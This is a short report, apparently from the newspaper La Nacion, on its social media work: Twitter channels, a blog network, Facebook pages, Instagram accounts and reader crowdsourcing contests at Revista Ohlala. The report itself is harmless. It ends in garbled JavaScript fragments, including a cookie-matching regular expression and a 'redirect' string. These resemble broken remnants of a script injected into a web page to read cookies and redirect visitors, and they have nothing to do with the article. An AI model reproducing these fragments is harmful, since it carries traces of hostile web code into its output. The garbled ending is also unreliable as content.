Use of Social Tools

La Nacion has an active focus on the use of social tools for reaching and including the audience in their work. One of our main focus has always been the social media strategy concerning our more than 35 branded official channels and 130 journalists on Twitter, which we consider a powerful mobile, real time and interactive service. The branded channels by themselves have more than 2 million followers all together. We also have a 35 blog network, which has thriving communities that daily participate in the content of each blog by posting their comments (for example, in Movies,Amateur Cooking and Gay Friendly blogs). Many of them also have a very active  Facebook Fan page participation (Cooking and Gardening for instance). Moreover, we continue to work with our audience on Facebook, generating specific content on the various pages of la nacioncom (with more than 913 995 fans), canchallenacom (our sports site), supplements Fashion/Beauty andCulture, and fanpages of our blogs.

This year we have grown our Instagram official channels family by adding @revistaohlala,@canchallena and @lanacioncom accounts, which publish real time content, along with our already existing channels @revistalugares@lnmodaybelleza and @adncultura.

ohlala´s croudsourcing strategy


Revista Ohlala has developed a socialmedia strategy concerning it´s Instagram channel, by which our editors interact with their followers by a periodic contest. Once a week they release a new hashtag encouraging readers to post their own version of something: their tatoosenamels, wallets, notebooks and jewelry, among many others. Followers have shared many pictures allowing our journalists to make several articles showing their images, as well as the winning picture, which gets to be fowarded by the official channel and sponsored in the article.

“Pipí Cucú” blog, from Revista Ohlalá blog platform, has also developed a crowsourcing strategy in which readers share the beauty products they have bought thanks to the blog tips. The initiative was promoted also vía @revistaohlala Twitter account. The result of this have been three beauty posts that include readers pictures.

“Tell me what you´ve bought”

“Tell me what you´ve bought part II”

“Tell me what you´ve bought part III” “; )”\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));”;,”redirect”);>,;”””; ; “”)}